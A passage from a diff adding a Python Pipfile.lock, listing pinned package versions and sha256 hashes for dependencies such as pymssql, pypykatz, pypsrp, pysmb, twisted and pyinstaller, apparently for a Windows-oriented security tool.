"sha256:676d9f4286f490612fa35ca8fe4b1fced8ff18e653abc1dda34fbf166129d6c2", + "sha256:79ad48096ceb5c714fbc4dc82e3e6b37f095f627b1fef90d94d85e19a19d6611", + "sha256:83379f1fd7b99c4993f5e905f2a6ddb9003996655151ea3c2ee77332ad009d08", + "sha256:88dc997e3e9199a0d67b547fba36c6d1c54fca7d83c4bfe0d3f34f55a4717a2c", + "sha256:8c5b97953130ff76500c6e8e159f2b881c737ebf00034006517b57f382d5317c", + "sha256:922e9dac0166e4617e5c7980d2cff6912a6eb5cb5c13e7ece222438650bd7f66", + "sha256:9c037aaf6affc8f7c4f6f9f6279aa57dd526734246fb5221a0fff3124f57e0b1", + "sha256:a896b41c518269c1cceb582e298a868e6c74bb3cbfd362865ea686c78aebe91d", + "sha256:b1a6f17c4ad896ed628663b021cd797b098c7e9537fd259958f6ffb3b8921081", + "sha256:b5ddaee74e1f06af9c0765a147904dddacf4ca9707f8f079e14e2b14b4f5a544", + "sha256:d55374ebc36de7a3217f2e2318886f0801dd5e486e21aba1fc4ca08e3b6637d7", + "sha256:ddac6a092b97aa11d2a21aec33e941b4453ef774da3d98f2b7c1e01da05e6d5e", + "sha256:de9832ac3c51484fe1757ca4303695423b16cfa54874dae9239bf41f50a2affa", + "sha256:e42a82c63952ed70be3c13782c6984a519b514e6b10108a9647c7576b6c86650", + "sha256:ea8e83bf4731a2369350d7771a1f2ef8d72ad3da70a37d86b1374be8c675abd0" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==3.12.0" + }, + "pyftpdlib": { + "hashes": [ + "sha256:fda655d81f29af52885ca2f8a2704134baed540f16d66a0b26e8fdfafd12db5e" + ], + "index": "pypi", + "version": "==1.5.6" + }, + "pyinstaller": { + "git": "git://github.com/guardicore/pyinstaller", + "ref": "913259a5cd2baece06b0eed3618eb75b1bc7fad6" + }, + "pyinstaller-hooks-contrib": { + "hashes": [ + "sha256:27558072021857d89524c42136feaa2ffe4f003f1bdf0278f9b24f6902c1759c", + "sha256:892310e6363655838485ee748bf1c5e5cade7963686d9af8650ee218a3e0b031" + ], + "index": "pypi", + "version": "==2021.1" + }, + "pymssql": { + "hashes": [ + "sha256:04aab92d5a1a5d4e01a0797a939f103f02c0ef777bc8dcf1e952ed30dd1d43d4", + "sha256:0ff55a944ee7506a5e9aef7b40f0cddabc0b61f9ba13d716bff5a308923b8111", + "sha256:10f9b5b033eb30a38f4b36144eb4583fd478fd30afa9d64cd9a1965d22740446", + "sha256:1682ead549dcec31f3b8cc47da429572ea1c4b106cb4fa91df884f968123af93", + "sha256:18b6550a02b34e88134b4b70eedcc6982036e459b0c91c7dd248bb1926287264", + "sha256:1e8d8abab391559b70f5df97fb22fc1d9ea627edcb943e558bdc7d7f455f93e2", + "sha256:2108114e4cc34ebbb8031df3e5579320e7569d51cd5094c5ddc333bf749d09a0", + "sha256:36539e42e8bb33018a05f9bd524b5a76286132ab7c82bfe9b60c4169d460fdf5", + "sha256:3977b056c5db8d01e74d88417cbb48e3e8bf03ab09ca6ef53790d025eae543df", + "sha256:3bdbeca64af7856923b7f84ed3355e2fd00bb1b897877b0bd4a74ec638801d52", + "sha256:3e077455a11fcb4cb8705cb3ae83236b8e130df9fd4186c707d638e8e43f9646", + "sha256:4f6d4434c29b846f491f5236daf06175f1652953d1d162be0f1b2b037bcf9a8d", + "sha256:4fd4991eee848a4fd7d0b19a24fe49b508633881e221004652ab15a7e4cfe041", + "sha256:557719b3ebc4617543de52eaadcdb6779f0c850e95b07be5f9775a2ef6a6c61f", + "sha256:658b4ea09050c85c6be09e1371335198b9441d2b5b08ef4f0b250ee4e5e8afc3", + "sha256:70a5c67759254e982368c5b9ccfe076447a7fd545b8376eb62d60c3b85e3b94d", + "sha256:aad5a1218691f83a16bab6dcfa24abf9da796abf5bf168a41972fe1cf93b3e37", + "sha256:c47c093cc4dc60e3356458c8e2935bab3834cea1f94a66c8ca62a5af2f060d64", + "sha256:c7a715c0b2b3a37462a9cf7972ed9ef0be98b2c64aebd549359f08af7f53b9a9", + "sha256:cfd9ae0484056e46b981b7c3893ddb620ccd52f48349bada78cb141192dfbfbe", + "sha256:cff8e775fb6294effeb716735bfd7707e79a2a79b617d0f1984bd574f26bda65", + "sha256:d0f8094330523b8e4763a6903151bc35069309ccb57c61f87eeaa910a34f5a35", + "sha256:d60f5f90337399668e10ab6a23a1657f190c9585401eb96a5456261f7c414864", + "sha256:dfc764a5a07197d742da34a593578295e9f8b64bb035c07e0981961672e18c85", + "sha256:e19a59eb8115418c3debcc9b685b2138d0abe6c9cb8c00bc2e738eb744bc6bda", + "sha256:e4741c6ec0483dcadb8a63077a7ceb17f263d9815ea842fed6663508c8852d7f", + "sha256:ec28c73afde96def469c581208903cf035923dc6313b6916f80cbcc71f9413d1", + "sha256:f36392e1874445d7cb67b928686ad424b0b3980282512b21f640828ad3adf968", + "sha256:fcf98e2c7cf18fa2fa09cdb7220849cd02e7b9481cb81ccdd8940da438f58d85" + ], + "index": "pypi", + "version": "==2.1.5" + }, + "pynacl": { + "hashes": [ + "sha256:06b8f6fa7f5de8d5d2f7573fe8c863c051225a27b61e6860fd047b1775807858", + "sha256:0c84947a22519e013607c9be43706dd42513f9e6ae5d39d3613ca1e142fba44d", + "sha256:20f42270d27e1b6a29f54032090b972d97f0a1b0948cc52392041ef7831fee93", + "sha256:401002a4aaa07c9414132aaed7f6836ff98f59277a234704ff66878c2ee4a0d1", + "sha256:52cb72a79269189d4e0dc537556f4740f7f0a9ec41c1322598799b0bdad4ef92", + "sha256:61f642bf2378713e2c2e1de73444a3778e5f0a38be6fee0fe532fe30060282ff", + "sha256:8ac7448f09ab85811607bdd21ec2464495ac8b7c66d146bf545b0f08fb9220ba", + "sha256:a36d4a9dda1f19ce6e03c9a784a2921a4b726b02e1c736600ca9c22029474394", + "sha256:a422368fc821589c228f4c49438a368831cb5bbc0eab5ebe1d7fac9dded6567b", + "sha256:e46dae94e34b085175f8abb3b0aaa7da40767865ac82c928eeb9e57e1ea8a543" + ], + "markers": "python_version >= '3.6'", + "version": "==1.5.0" + }, + "pyopenssl": { + "hashes": [ + "sha256:aeca66338f6de19d1aa46ed634c3b9ae519a64b458f8468aec688e7e3c20f200", + "sha256:c727930ad54b10fc157015014b666f2d8b41f70c0d03e83ab67624fd3dd5d1e6" + ], + "index": "pypi", + "version": "==19.0.0" + }, + "pyparsing": { + "hashes": [ + "sha256:04ff808a5b90911829c55c4e26f75fa5ca8a2f5f36aa3a51f68e27033341d3e4", + "sha256:d9bdec0013ef1eb5a84ab39a3b3868911598afa494f5faa038647101504e2b81" + ], + "markers": "python_version >= '3.6'", + "version": "==3.0.6" + }, + "pypsrp": { + "hashes": [ + "sha256:c0912096858ff8c53a3cf22cc46c3ce20e6ec5e2deade342088e87a81dbadac8", + "sha256:d7144ad7c798a4dcded20a71c712d63eb4bfb32debe62f3a98f01481384a5558" + ], + "index": "pypi", + "version": "==0.7.0" + }, + "pypykatz": { + "hashes": [ + "sha256:8acd8d69f7b0ab343c593490a0837871b58b5c322ad54ada2fad0fed049349f3", + "sha256:b63b19ec6ee8448bbcf7003e6ad1f9d7a2784fd8cee54aebcc5f717792a43200" + ], + "index": "pypi", + "version": "==0.3.12" + }, + "pyreadline": { + "hashes": [ + "sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1", + "sha256:65540c21bfe14405a3a77e4c085ecfce88724743a4ead47c66b84defcf82c32e", + "sha256:9ce5fa65b8992dfa373bddc5b6e0864ead8f291c94fbfec05fbd5c836162e67b" + ], + "markers": "python_version < '3.8' and sys_platform == 'win32'", + "version": "==2.1" + }, + "pysmb": { + "hashes": [ + "sha256:7aedd5e003992c6c78b41a0da4bf165359a46ea25ab2a9a1594d13f471ad7287" + ], + "index": "pypi", + "version": "==1.2.5" + }, + "pyspnego": { + "hashes": [ + "sha256:19da2de9d55d73d05b2798d4e5bd7ee5980e573ae50dc2f2bc460df5eaffe5ea", + "sha256:27dd07b6b918c289d2820c685b346a198498354cf3a1bfe9ec19cff9fa8fce2f", + "sha256:37c4d80a0c90bd2b670c583b2efbd210c26f54b1f7661c0cbc684a954b88c1c3", + "sha256:6387b4631120205240d1be25aff7a78d41db9b99bb5803b3ac6b7b6ed80b8920", + "sha256:6df4b5233ec28358992adadfef5be76807ca1424e7c0fbf430424759edc85f8b", + "sha256:75a0d4be4236f6b7c2ded0b43fd03e942c48cdbe91c2856f45f22884b7e92ddc", + "sha256:9235a3159a4e1648d6bb4d170b8d68ecf5b1f55fa2f3157335ce74df5c192468", + "sha256:a0d41d43657cd4d4456ca734ec00b6e24c95a144499cfc429371a310c4b10d7a", + "sha256:b02c9b61f85c96f969c78f492b35915a590dddabf987687eb1256ef2fd8fbdcb", + "sha256:ccb8d9cea310f1715d5ed3d2d092db9bf50ff2762cf94a0dd9dfab7774a727fe", + "sha256:e15d16b205fbc5e945244b974312e9796467913f69736fdad262edee0c3c105f", + "sha256:f4a00cc3796d34212b391caecb3fd636cdefea798cb4ac231f893bdade674f01" + ], + "markers": "python_version >= '3.6'", + "version": "==0.3.1" + }, + "python-dateutil": { + "hashes": [ + "sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb", + "sha256:c89805f6f4d64db21ed966fda138f8a5ed7a4fdbc1a8ee329ce1b74e3c74da9e" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.8.0" + }, + "pytz": { + "hashes": [ + "sha256:3672058bc3453457b622aab7a1c3bfd5ab0bdae451512f6cf25f64ed37f5b87c", + "sha256:acad2d8b20a1af07d4e4c9d2e9285c5ed9104354062f275f3fcd88dcef4f1326" + ], + "version": "==2021.3" + }, + "pywin32": { + "hashes": [ + "sha256:2a09632916b6bb231ba49983fe989f2f625cea237219530e81a69239cd0c4559", + "sha256:51cb52c5ec6709f96c3f26e7795b0bf169ee0d8395b2c1d7eb2c029a5008ed51", + "sha256:5f9ec054f5a46a0f4dfd72af2ce1372f3d5a6e4052af20b858aa7df2df7d355b", + "sha256:6fed4af057039f309263fd3285d7b8042d41507343cd5fa781d98fcc5b90e8bb", + "sha256:793bf74fce164bcffd9d57bb13c2c15d56e43c9542a7b9687b4fccf8f8a41aba", + "sha256:79cbb862c11b9af19bcb682891c1b91942ec2ff7de8151e2aea2e175899cda34", + "sha256:7d3271c98434617a11921c5ccf74615794d97b079e22ed7773790822735cc352", + "sha256:aad484d52ec58008ca36bd4ad14a71d7dd0a99db1a4ca71072213f63bf49c7d9", + "sha256:b1675d82bcf6dbc96363fca747bac8bff6f6e4a447a4287ac652aa4b9adc796e", + "sha256:c268040769b48a13367221fced6d4232ed52f044ffafeda247bd9d2c6bdc29ca", + "sha256:d9b5d87ca944eb3aa4cd45516203ead4b37ab06b8b777c54aedc35975dec0dee", + "sha256:fcf44032f5b14fcda86028cdf49b6ebdaea091230eb0a757282aa656e4732439" + ], + "markers": "python_version < '3.10' and sys_platform == 'win32' and implementation_name == 'cpython'", + "version": "==303" + }, + "pywin32-ctypes": { + "hashes": [ + "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", + "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" + ], + "version": "==0.2.0" + }, + "requests": { + "hashes": [ + "sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61", + "sha256:f22fa1e554c9ddfd16e6e41ac79759e17be9e492b3587efa038054674760e72d" + ], + "index": "pypi", + "version": "==2.27.1" + }, + "s3transfer": { + "hashes": [ + "sha256:50ed823e1dc5868ad40c8dc92072f757aa0e653a192845c94a3b676f4a62da4c", + "sha256:9c1dc369814391a6bda20ebbf4b70a0f34630592c9aa520856bf384916af2803" + ], + "markers": "python_version >= '3.6'", + "version": "==0.5.0" + }, + "scoutsuite": { + "git": "git://github.com/guardicode/ScoutSuite", + "ref": "eac33ac5b0a84e4a2e29682cf3568271eb595003" + }, + "service-identity": { + "hashes": [ + "sha256:6e6c6086ca271dc11b033d17c3a8bea9f24ebff920c587da090afc9519419d34", + "sha256:f0b0caac3d40627c3c04d7a51b6e06721857a0e10a8775f2d1d7e72901b3a7db" + ], + "version": "==21.1.0" + }, + "setuptools": { + "hashes": [ + "sha256:2404879cda71495fc4d5cbc445ed52fdaddf352b36e40be8dcc63147cb4edabe", + "sha256:68eb94073fc486091447fcb0501efd6560a0e5a1839ba249e5ff3c4c93f05f90" + ], + "markers": "python_version >= '3.7'", + "version": "==60.5.0" + }, + "simplejson": { + "hashes": [ + "sha256:04e31fa6ac8e326480703fb6ded1488bfa6f1d3f760d32e29dbf66d0838982ce", + "sha256:068670af975247acbb9fc3d5393293368cda17026db467bf7a51548ee8f17ee1", + "sha256:07ecaafc1b1501f275bf5acdee34a4ad33c7c24ede287183ea77a02dc071e0c0", + "sha256:0b4126cac7d69ac06ff22efd3e0b3328a4a70624fcd6bca4fc1b4e6d9e2e12bf", + "sha256:0de783e9c2b87bdd75b57efa2b6260c24b94605b5c9843517577d40ee0c3cc8a", + "sha256:12133863178a8080a3dccbf5cb2edfab0001bc41e5d6d2446af2a1131105adfe", + "sha256:1c9b1ed7ed282b36571638297525f8ef80f34b3e2d600a56f962c6044f24200d", + "sha256:23fe704da910ff45e72543cbba152821685a889cf00fc58d5c8ee96a9bad5f94", + "sha256:28221620f4dcabdeac310846629b976e599a13f59abb21616356a85231ebd6ad", + "sha256:35a49ebef25f1ebdef54262e54ae80904d8692367a9f208cdfbc38dbf649e00a", + "sha256:37bc0cf0e5599f36072077e56e248f3336917ded1d33d2688624d8ed3cefd7d2", + "sha256:3fe87570168b2ae018391e2b43fbf66e8593a86feccb4b0500d134c998983ccc", + "sha256:3ff5b3464e1ce86a8de8c88e61d4836927d5595c2162cab22e96ff551b916e81", + "sha256:401d40969cee3df7bda211e57b903a534561b77a7ade0dd622a8d1a31eaa8ba7", + "sha256:4b6bd8144f15a491c662f06814bd8eaa54b17f26095bb775411f39bacaf66837", + "sha256:4c09868ddb86bf79b1feb4e3e7e4a35cd6e61ddb3452b54e20cf296313622566", + "sha256:4d1c135af0c72cb28dd259cf7ba218338f4dc027061262e46fe058b4e6a4c6a3", + "sha256:4ff4ac6ff3aa8f814ac0f50bf218a2e1a434a17aafad4f0400a57a8cc62ef17f", + "sha256:521877c7bd060470806eb6335926e27453d740ac1958eaf0d8c00911bc5e1802", + "sha256:522fad7be85de57430d6d287c4b635813932946ebf41b913fe7e880d154ade2e", + "sha256:5540fba2d437edaf4aa4fbb80f43f42a8334206ad1ad3b27aef577fd989f20d9", + "sha256:5d6b4af7ad7e4ac515bc6e602e7b79e2204e25dbd10ab3aa2beef3c5a9cad2c7", + "sha256:5decdc78849617917c206b01e9fc1d694fd58caa961be816cb37d3150d613d9a", + "sha256:632ecbbd2228575e6860c9e49ea3cc5423764d5aa70b92acc4e74096fb434044", + "sha256:65b998193bd7b0c7ecdfffbc825d808eac66279313cb67d8892bb259c9d91494", + "sha256:67093a526e42981fdd954868062e56c9b67fdd7e712616cc3265ad0c210ecb51", + "sha256:681eb4d37c9a9a6eb9b3245a5e89d7f7b2b9895590bb08a20aa598c1eb0a1d9d", + "sha256:69bd56b1d257a91e763256d63606937ae4eb890b18a789b66951c00062afec33", + "sha256:724c1fe135aa437d5126138d977004d165a3b5e2ee98fc4eb3e7c0ef645e7e27", + "sha256:7255a37ff50593c9b2f1afa8fafd6ef5763213c1ed5a9e2c6f5b9cc925ab979f", + "sha256:743cd768affaa508a21499f4858c5b824ffa2e1394ed94eb85caf47ac0732198", + "sha256:80d3bc9944be1d73e5b1726c3bbfd2628d3d7fe2880711b1eb90b617b9b8ac70", + "sha256:82ff356ff91be0ab2293fc6d8d262451eb6ac4fd999244c4b5f863e049ba219c", + "sha256:8e8607d8f6b4f9d46fee11447e334d6ab50e993dd4dbfb22f674616ce20907ab", + "sha256:97202f939c3ff341fc3fa84d15db86156b1edc669424ba20b0a1fcd4a796a045", + "sha256:9b01e7b00654115965a206e3015f0166674ec1e575198a62a977355597c0bef5", + "sha256:9fa621b3c0c05d965882c920347b6593751b7ab20d8fa81e426f1735ca1a9fc7", + "sha256:a1aa6e4cae8e3b8d5321be4f51c5ce77188faf7baa9fe1e78611f93a8eed2882", + "sha256:a2d30d6c1652140181dc6861f564449ad71a45e4f165a6868c27d36745b65d40", + "sha256:a649d0f66029c7eb67042b15374bd93a26aae202591d9afd71e111dd0006b198", + "sha256:a7854326920d41c3b5d468154318fe6ba4390cb2410480976787c640707e0180", + "sha256:a89acae02b2975b1f8e4974cb8cdf9bf9f6c91162fb8dec50c259ce700f2770a", + "sha256:a8bbdb166e2fb816e43ab034c865147edafe28e1b19c72433147789ac83e2dda", + "sha256:ac786f6cb7aa10d44e9641c7a7d16d7f6e095b138795cd43503769d4154e0dc2", + "sha256:b09bc62e5193e31d7f9876220fb429ec13a6a181a24d897b9edfbbdbcd678851", + "sha256:b10556817f09d46d420edd982dd0653940b90151d0576f09143a8e773459f6fe", + "sha256:b81076552d34c27e5149a40187a8f7e2abb2d3185576a317aaf14aeeedad862a", + "sha256:bdfc54b4468ed4cd7415928cbe782f4d782722a81aeb0f81e2ddca9932632211", + "sha256:cf6e7d5fe2aeb54898df18db1baf479863eae581cce05410f61f6b4188c8ada1", + "sha256:cf98038d2abf63a1ada5730e91e84c642ba6c225b0198c3684151b1f80c5f8a6", + "sha256:d24a9e61df7a7787b338a58abfba975414937b609eb6b18973e25f573bc0eeeb", + "sha256:d74ee72b5071818a1a5dab47338e87f08a738cb938a3b0653b9e4d959ddd1fd9", + "sha256:dd16302d39c4d6f4afde80edd0c97d4db643327d355a312762ccd9bd2ca515ed", + "sha256:dd2fb11922f58df8528adfca123f6a84748ad17d066007e7ac977720063556bd", + "sha256:deac4bdafa19bbb89edfb73b19f7f69a52d0b5bd3bb0c4ad404c1bbfd7b4b7fd", + "sha256:e03c3b8cc7883a54c3f34a6a135c4a17bc9088a33f36796acdb47162791b02f6", + "sha256:e1ec8a9ee0987d4524ffd6299e778c16cc35fef6d1a2764e609f90962f0b293a", + "sha256:e8603e691580487f11306ecb066c76f1f4a8b54fb3bdb23fa40643a059509366", + "sha256:f444762fed1bc1fd75187ef14a20ed900c1fbb245d45be9e834b822a0223bc81", + "sha256:f63600ec06982cdf480899026f4fda622776f5fabed9a869fdb32d72bc17e99a", + "sha256:fb62d517a516128bacf08cb6a86ecd39fb06d08e7c4980251f5d5601d29989ba" + ], + "index": "pypi", + "version": "==3.17.6" + }, + "six": { + "hashes": [ + "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", + "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==1.16.0" + }, + "sqlitedict": { + "hashes": [ + "sha256:2affcc301aacd4da7511692601ecbde392294205af418498f7d6d3ec0dbcad56" + ], + "version": "==1.7.0" + }, + "tempora": { + "hashes": [ + "sha256:8d743059a4ea496d925f35480c6d206a7160cacebcd6a31e147fb495dcb732af", + "sha256:aa21dd1956e29559ecb2f2f2e14fcdb950085222fbbf86e6c946b5e1a8c36b26" + ], + "markers": "python_version >= '3.7'", + "version": "==5.0.0" + }, + "tqdm": { + "hashes": [ + "sha256:8dd278a422499cd6b727e6ae4061c40b48fce8b76d1ccbf5d34fca9b7f925b0c", + "sha256:d359de7217506c9851b7869f3708d8ee53ed70a1b8edbba4dbcb47442592920d" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==4.62.3" + }, + "twisted": { + "extras": [ + "tls" + ], + "hashes": [ + "sha256:13c1d1d2421ae556d91e81e66cf0d4f4e4e1e4a36a0486933bee4305c6a4fb9b", + "sha256:2cd652542463277378b0d349f47c62f20d9306e57d1247baabd6d1d38a109006" + ], + "markers": "python_full_version >= '3.6.7'", + "version": "==21.7.0" + }, + "twisted-iocpsupport": { + "hashes": [ + "sha256:306becd6e22ab6e8e4f36b6bdafd9c92e867c98a5ce517b27fdd27760ee7ae41", + "sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d", + "sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9", + "sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf", + "sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323", + "sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32", + "sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4", + "sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f", + "sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546", + "sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878", + "sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565", + "sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415" + ], + "markers": "platform_system == 'Windows'", + "version": "==1.0.2" + }, + "typing-extensions": { + "hashes": [ + "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e", + "sha256:7f001e5ac290a0c0401508864c7ec868be4e701886d5b573a9528ed3973d9d3b" + ], + "index": "pypi", + "version": "==4.0.1" + }, + "urllib3": { + "hashes": [ + "sha256:753a0374df26658f99d826cfe40394a686d05985786d946fbe4165b5148f5a7c", + "sha256:a7acd0977125325f516bda9735fa7142b909a8d01e8b2e4c8108d0984e6e0098" + ], + "index": "pypi", + "version": "==1.26.5" + }, + "wcwidth": { + "hashes": [ + "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784", + "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83" + ], + "version": "==0.2.5" + }, + "werkzeug": { + "hashes": [ + "sha256:63d3dc1cf60e7b7e35e97fa9861f7397283b75d765afcaefd993d6046899de8f", + "sha256:aa2bb6fc8dee8d6c504c0ac1e7f5f7dc5810a9903e793b6f715a9f015bdadb9a" + ], + "markers": "python_version >= '3.6'", + "version": "==2.0.2" + }, + "winacl": { + "hashes": [ + "sha256:187b4394ef247806f50e1d8320bdb9e33ad1f759d9e61e2e391b97b9adf5f58a", + "sha256:949a66b0f46015c8cf8d9c1bfdb3a5174e70c28ae1b096eb778bc2983ea7ce50" + ], + "markers": "python_version >= '3.6'", + "version": "==0.1.2" + }, + "winsspi": { + "hashes": [ + "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", + "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" + ], + "markers": "python_version >= '3.6'", + "version": "==0.0.9" + }, + "winsys-3.x": { + "hashes": [ + "sha256:cef3df1dce2a5a71efa46446e6007ad9f7dbae31e83ffcc2ea3485c00c914cc3" + ], + "index": "pypi", + "version": "==0.5.2" + }, + "wmi": { + "hashes": [ + "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", + "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" + ], + "index": "pypi", + "markers": "sys_platform == 'win32'", + "version": "==1.5.1" + }, + "zc.lockfile": { + "hashes": [ + "sha256:307ad78227e48be260e64896ec8886edc7eae22d8ec53e4d528ab5537a83203b", + "sha256:cc33599b549f0c8a248cb72f3bf32d77712de1ff7ee8814312eb6456b42c015f" + ], + "version": "==2.0" + }, + "zipp": { + "hashes": [ + "sha256:9f50f446828eb9d45b267433fd3e9da8d801f614129124863f9c51ebceafb87d", + "sha256:b47250dd24f92b7dd6a0a8fc5244da14608f3ca90a5efcd37a3b1642fac9a375" + ], + "markers": "python_version >= '3.7'", + "version": "==3.7.0" + }, + "zope.interface": { + "hashes": [ + "sha256:08f9636e99a9d5410181ba0729e0408d3d8748026ea938f3b970a0249daa8192", + "sha256:0b465ae0962d49c68aa9733ba92a001b2a0933c317780435f00be7ecb959c702", + "sha256:0cba8477e300d64a11a9789ed40ee8932b59f9ee05f85276dbb4b59acee5dd09", + "sha256:0cee5187b60ed26d56eb2960136288ce91bcf61e2a9405660d271d1f122a69a4", + "sha256:0ea1d73b7c9dcbc5080bb8aaffb776f1c68e807767069b9ccdd06f27a161914a", + "sha256:0f91b5b948686659a8e28b728ff5e74b1be6bf40cb04704453617e5f1e945ef3", + "sha256:15e7d1f7a6ee16572e21e3576d2012b2778cbacf75eb4b7400be37455f5ca8bf", + "sha256:17776ecd3a1fdd2b2cd5373e5ef8b307162f581c693575ec62e7c5399d80794c", + "sha256:194d0bcb1374ac3e1e023961610dc8f2c78a0f5f634d0c737691e215569e640d", + "sha256:1c0e316c9add0db48a5b703833881351444398b04111188069a26a61cfb4df78", + "sha256:205e40ccde0f37496904572035deea747390a8b7dc65146d30b96e2dd1359a83", + "sha256:273f158fabc5ea33cbc936da0ab3d4ba80ede5351babc4f577d768e057651531", + "sha256:2876246527c91e101184f63ccd1d716ec9c46519cc5f3d5375a3351c46467c46", + "sha256:2c98384b254b37ce50eddd55db8d381a5c53b4c10ee66e1e7fe749824f894021", + "sha256:2e5a26f16503be6c826abca904e45f1a44ff275fdb7e9d1b75c10671c26f8b94", + "sha256:334701327f37c47fa628fc8b8d28c7d7730ce7daaf4bda1efb741679c2b087fc", + "sha256:3748fac0d0f6a304e674955ab1365d515993b3a0a865e16a11ec9d86fb307f63", + "sha256:3c02411a3b62668200910090a0dff17c0b25aaa36145082a5a6adf08fa281e54", + "sha256:3dd4952748521205697bc2802e4afac5ed4b02909bb799ba1fe239f77fd4e117", + "sha256:3f24df7124c323fceb53ff6168da70dbfbae1442b4f3da439cd441681f54fe25", + "sha256:469e2407e0fe9880ac690a3666f03eb4c3c444411a5a5fddfdabc5d184a79f05", + "sha256:4de4bc9b6d35c5af65b454d3e9bc98c50eb3960d5a3762c9438df57427134b8e", + "sha256:5208ebd5152e040640518a77827bdfcc73773a15a33d6644015b763b9c9febc1", + "sha256:52de7fc6c21b419078008f697fd4103dbc763288b1406b4562554bd47514c004", + "sha256:5bb3489b4558e49ad2c5118137cfeaf59434f9737fa9c5deefc72d22c23822e2", + "sha256:5dba5f530fec3f0988d83b78cc591b58c0b6eb8431a85edd1569a0539a8a5a0e", + "sha256:5dd9ca406499444f4c8299f803d4a14edf7890ecc595c8b1c7115c2342cadc5f", + "sha256:5f931a1c21dfa7a9c573ec1f50a31135ccce84e32507c54e1ea404894c5eb96f", + "sha256:63b82bb63de7c821428d513607e84c6d97d58afd1fe2eb645030bdc185440120", + "sha256:66c0061c91b3b9cf542131148ef7ecbecb2690d48d1612ec386de9d36766058f", + "sha256:6f0c02cbb9691b7c91d5009108f975f8ffeab5dff8f26d62e21c493060eff2a1", + "sha256:71aace0c42d53abe6fc7f726c5d3b60d90f3c5c055a447950ad6ea9cec2e37d9", + "sha256:7d97a4306898b05404a0dcdc32d9709b7d8832c0c542b861d9a826301719794e", + "sha256:7df1e1c05304f26faa49fa752a8c690126cf98b40b91d54e6e9cc3b7d6ffe8b7", + "sha256:8270252effc60b9642b423189a2fe90eb6b59e87cbee54549db3f5562ff8d1b8", + "sha256:867a5ad16892bf20e6c4ea2aab1971f45645ff3102ad29bd84c86027fa99997b", + "sha256:877473e675fdcc113c138813a5dd440da0769a2d81f4d86614e5d62b69497155", + "sha256:8892f89999ffd992208754851e5a052f6b5db70a1e3f7d54b17c5211e37a98c7", + "sha256:9a9845c4c6bb56e508651f005c4aeb0404e518c6f000d5a1123ab077ab769f5c", + "sha256:a1e6e96217a0f72e2b8629e271e1b280c6fa3fe6e59fa8f6701bec14e3354325", + "sha256:a8156e6a7f5e2a0ff0c5b21d6bcb45145efece1909efcbbbf48c56f8da68221d", + "sha256:a9506a7e80bcf6eacfff7f804c0ad5350c8c95b9010e4356a4b36f5322f09abb", + "sha256:af310ec8335016b5e52cae60cda4a4f2a60a788cbb949a4fbea13d441aa5a09e", + "sha256:b0297b1e05fd128d26cc2460c810d42e205d16d76799526dfa8c8ccd50e74959", + "sha256:bf68f4b2b6683e52bec69273562df15af352e5ed25d1b6641e7efddc5951d1a7", + "sha256:d0c1bc2fa9a7285719e5678584f6b92572a5b639d0e471bb8d4b650a1a910920", + "sha256:d4d9d6c1a455d4babd320203b918ccc7fcbefe308615c521062bc2ba1aa4d26e", + "sha256:db1fa631737dab9fa0b37f3979d8d2631e348c3b4e8325d6873c2541d0ae5a48", + "sha256:dd93ea5c0c7f3e25335ab7d22a507b1dc43976e1345508f845efc573d3d779d8", + "sha256:f44e517131a98f7a76696a7b21b164bcb85291cee106a23beccce454e1f433a4", + "sha256:f7ee479e96f7ee350db1cf24afa5685a5899e2b34992fb99e1f7c1b0b758d263" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==5.4.0" + } + }, + "develop": { + "ldap3": { + "hashes": [ + "sha256:2bc966556fc4d4fa9f445a1c31dc484ee81d44a51ab0e2d0fd05b62cac75daa6", + "sha256:5630d1383e09ba94839e253e013f1aa1a2cf7a547628ba1265cb7b9a844b5687", + "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70", + 